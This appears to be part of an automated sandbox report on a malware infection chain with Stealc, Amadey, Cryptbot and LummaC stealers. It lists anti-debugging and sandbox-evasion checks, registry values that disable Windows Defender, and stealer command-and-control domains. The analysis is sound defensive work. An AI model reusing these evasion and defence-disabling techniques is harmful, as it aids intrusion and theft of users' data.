Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 829de9457d.exe, 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2447497989.00000000007F0000.00000040.00000001.01000000.00000003.sdmp, DocumentsGHIDGDHCGC.exe, 00000014.00000000.2439812740.0000000000949000.00000080.00000001.01000000.0000000B.sdmp, DocumentsGHIDGDHCGC.exe, 00000014.00000002.2495954409.0000000000949000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2538772732.0000000000439000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000000.2478615804.0000000000439000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.2643776237.0000000000439000.00000080.00000001.01000000.0000000E.sdmp, 397a6a3fac.exe, 00000019.00000002.3196193335.0000000005E3A000.00000040.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3186695961.0000000000351000.00000040.00000001.01000000.00000010.sdmp, 829de9457d.exe, 0000001B.00000002.2926434284.0000000000BE0000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 0000001D.00000000.2901022388.0000000000439000.00000080.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe

Code function: 20_2_04D70BEA rdtsc

20_2_04D70BEA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C675FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C675FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C67C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C67C410

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_0078652B mov eax, dword ptr fs:[00000030h]	20_2_0078652B
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_0078A302 mov eax, dword ptr fs:[00000030h]	20_2_0078A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0027A302 mov eax, dword ptr fs:[00000030h]	21_2_0027A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0027652B mov eax, dword ptr fs:[00000030h]	21_2_0027652B

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C64B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C64B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829de9457d.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829de9457d.exe PID: 6980, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 397a6a3fac.exe, 00000019.00000003.2881046464.0000000005430000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures":["msNurturingC

LummaC encrypted strings found

Source: 397a6a3fac.exe, 00000019.00000002.3185802003.0000000000181000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: faintbl0w.sbs
Source: 397a6a3fac.exe, 00000019.00000002.3185802003.0000000000181000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: 300snails.sbs
Source: 397a6a3fac.exe, 00000019.00000002.3185802003.0000000000181000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: 3xc1aimbl0w.sbs
Source: 397a6a3fac.exe, 00000019.00000002.3185802003.0000000000181000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: thicktoys.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIDGDHCGC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGHIDGDHCGC.exe "C:\Users\user\DocumentsGHIDGDHCGC.exe"
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe "C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe "C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe "C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe"
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

Source: file.exe, file.exe, 00000000.00000002.2447497989.00000000007F0000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: QProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64B341 cpuid

0_2_6C64B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6135A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6135A0

Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 397a6a3fac.exe, 0000001E.00000003.3104649464.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3125348240.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: 397a6a3fac.exe, 0000001E.00000003.3091103775.0000000000CD9000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3091405015.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsGHIDGDHCGC.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2495541140.0000000000751000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2538097911.0000000000241000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000018.00000003.3328977869.0000000001784000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 33a9120b78.exe PID: 2460, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 397a6a3fac.exe PID: 368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 397a6a3fac.exe PID: 8064, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2447069810.0000000000421000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2927755728.000000000158D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3084022253.0000000000811000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2869313380.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2926028640.0000000000811000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3043113715.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2449094003.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2077871417.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829de9457d.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829de9457d.exe PID: 6980, type: MEMORYSTR
